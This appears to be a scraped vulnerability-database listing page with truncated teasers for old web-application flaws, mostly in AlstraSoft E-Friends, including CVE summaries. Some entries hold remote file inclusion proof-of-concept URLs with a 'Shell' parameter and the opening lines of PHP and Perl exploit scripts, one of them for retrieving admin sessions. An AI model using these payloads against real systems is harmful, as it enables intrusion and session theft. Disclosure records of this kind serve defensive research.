Alstrasoft e-Friends 4.98 - 'seid' Multiple SQL Injections

\ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV85$2007 ----------------------------------------------------------------------------------------- ECHOADV85$2007 alstrasoft E-Friends = 4.98 seid Multiple Remote SQL Injection Vulnerabilities...

alstrasoft E-Friends <= 4.98 (seid) Multiple SQL Injection Vulnerabilities

No description provided by source. \ /\ \ / | \ \ | / \ // / | \ | \ \ Y / | \ / / \ /| /\ / / / / / .OR.ID ECHOADV85$2007 ----------------------------------------------------------------------------------------- ECHOADV85$2007 alstrasoft E-Friends = 4.98 seid Multiple Remote SQL...

YNP Portal System 2.2.0 (showpage.cgi p) Remote File Disclosure

Exploit for cgi platform in category web applications =============================================================== YNP Portal System 2.2.0 showpage.cgi p Remote File Disclosure =============================================================== YNP Portal System 2.2.0 showpage.cgi p Remote File...

QQ

QQ is a common Instant Messenger in east Asia. QQ Instant Messenger allows instant peer-to-peer file transfers, SMS sending and chatting with online friends. There are cases in which certain traffic, although not intended for malicious use, is very unsafe, since it may transfer shellcode which is...

phpbg-rfi.txt

phpBG 0.9.1 rootdir Remote File Inclusion Vulnerability D.Script: http://phpbg.sourceforge.net/ POC: /intern/admin/other/backup.php?admin=1&rootdir=Shell /intern/admin/?rootdir=Shell /intern/clan/memberadd.php?rootdir=Shell /intern/config/key2.php?rootdir=Shell...

phpBG 0.9.1 (rootdir) Remote File Inclusion Vulnerabilities

No description provided by source. phpBG 0.9.1 rootdir Remote File Inclusion Vulnerability D.Script: http://phpbg.sourceforge.net/ POC: /intern/admin/other/backup.php?admin=1&rootdir=Shell /intern/admin/?rootdir=Shell /intern/clan/memberadd.php?rootdir=Shell /intern/config/key2.php?rootdir=Shell...

Cross site scripting

Cross-site scripting XSS vulnerability in index.php AlstraSoft E-Friends allows remote attackers to inject arbitrary web script or HTML via the pid parameter in a peoplecard action. NOTE: this might overlap CVE-2006-2564...

CVE-2007-4080

Cross-site scripting XSS vulnerability in index.php AlstraSoft E-Friends allows remote attackers to inject arbitrary web script or HTML via the pid parameter in a peoplecard action. NOTE: this might overlap CVE-2006-2564...

CVE-2007-4080

The CVE-2007-4080 entry documents a cross-site scripting (XSS) vulnerability in the AlstraSoft E-Friends application, specifically in index.php. The issue is triggered via the p_id parameter in the people_card action, enabling remote attackers to inject arbitrary web script or HTML. Affected comp...

CrystalPlayer 1.98 - '.mls' Local Buffer Overflow

!/usr/bin/perl Crystal Player 1.98 Playlist.mls File Local Buffer Overflow Exploit Source:: http://www.crystalplayer.com/CrystalPro.exe Credit To Timq For The Vulnerability POC By Arham Muhammad While Debugging EIP And EBP Successfully Gets Overwritten! Upon Successful Exploitation, DOS Occurs An...

AlstraSoft E-Friends Pack SQL注入漏洞

AlstraSoft E-Friends是一款基于PHP的WEB应用程序。 AlstraSoft E-Friends不正确过滤用户提交的输入，远程攻击者可以利用漏洞进行SQL注入攻击，可获得敏感信息。 问题是脚本对用户提交的'pack'参数缺少过滤，提交恶意SQL代码作为参数数据，可导致更改原来的SQL逻辑，获得敏感信息。 AlstraSoft E-Friends 4.0 AlstraSoft E-Friends 4.21 目前没有解决方案提供： http://www.alstrasoft.com/efriends.htm !/usr/bin/php -q -d...

Sql injection

SQL injection vulnerability in paypal.php in AlstraSoft E-Friends 4.21 and earlier allows remote attackers to execute arbitrary SQL commands via the pack parameter in a paypal action for index.php...

CVE-2007-2824

SQL injection vulnerability in paypal.php in AlstraSoft E-Friends 4.21 and earlier allows remote attackers to execute arbitrary SQL commands via the pack parameter in a paypal action for index.php...

CVE-2007-2824

SQL injection vulnerability in paypal.php in AlstraSoft E-Friends 4.21 and earlier allows remote attackers to execute arbitrary SQL commands via the pack parameter in a paypal action for index.php...

CVE-2007-2824

CVE-2007-2824 describes a SQL injection in AlstraSoft E-Friends (versions 4.21 and earlier) where the pack parameter in the paypal action of index.php is unsafely handled, allowing remote attackers to execute arbitrary SQL commands. The underlying issue is unsanitized user input fed into a databa...

AlstraSoft E-Friends <= 4.21 Admin Session Retrieve Exploit

No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo " AlstraSoft E-Friends = 4.21 Admin Session Retrieve Exploit by BlackHawk [email protected] http://itablackhawk.altervista.org Thanks to rgod for the php code and Marty for the Love "; if $argc2 echo "Usage: php...

AlstraSoft E-Friends <= 4.21 Admin Session Retrieve Exploit

Exploit for unknown platform in category web applications =========================================================== AlstraSoft E-Friends = 4.21 Admin Session Retrieve Exploit =========================================================== !/usr/bin/php -q -d shortopentag=on ? echo " AlstraSoft...

Alstrasoft e-Friends 4.21 - Admin Session Retrieve

Alstrasoft e-Friends 4.21 - Admin Session Retrieve !/usr/bin/php -q -d shortopentag=on Thanks to rgod for the php code and Marty for the Love "; if $argc2 echo "Usage: php ".$argv0." Host Path Host: target server ip/hostname Path: path of template Example: php ".$argv0." localhost /efriend/"; die...

Alstrasoft e-Friends 4.21 - Admin Session Retrieve

!/usr/bin/php -q -d shortopentag=on Thanks to rgod for the php code and Marty for the Love "; if $argc2 echo "Usage: php ".$argv0." Host Path Host: target server ip/hostname Path: path of template Example: php ".$argv0." localhost /efriend/"; die; errorreporting0; iniset"maxexecutiontime",0;...

acvsws-rfi.txt

acvswsphp5v1.0 [email protected] Homepage: http://www.MoHaNdKo.cOm Exploit:Path/incACVS/SOAP/Transport.php?CheminInclude=Shell Greetz To: Tryag-Team & AsbMay's Group & Xp10 TeAm & CiTy GhOsTs TeAm Greetz To: aLL mY Friends...